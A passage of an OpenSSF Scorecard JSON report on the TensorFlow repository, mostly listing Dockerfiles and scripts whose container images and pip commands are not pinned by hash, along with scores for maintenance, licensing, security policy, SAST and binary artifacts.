tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned 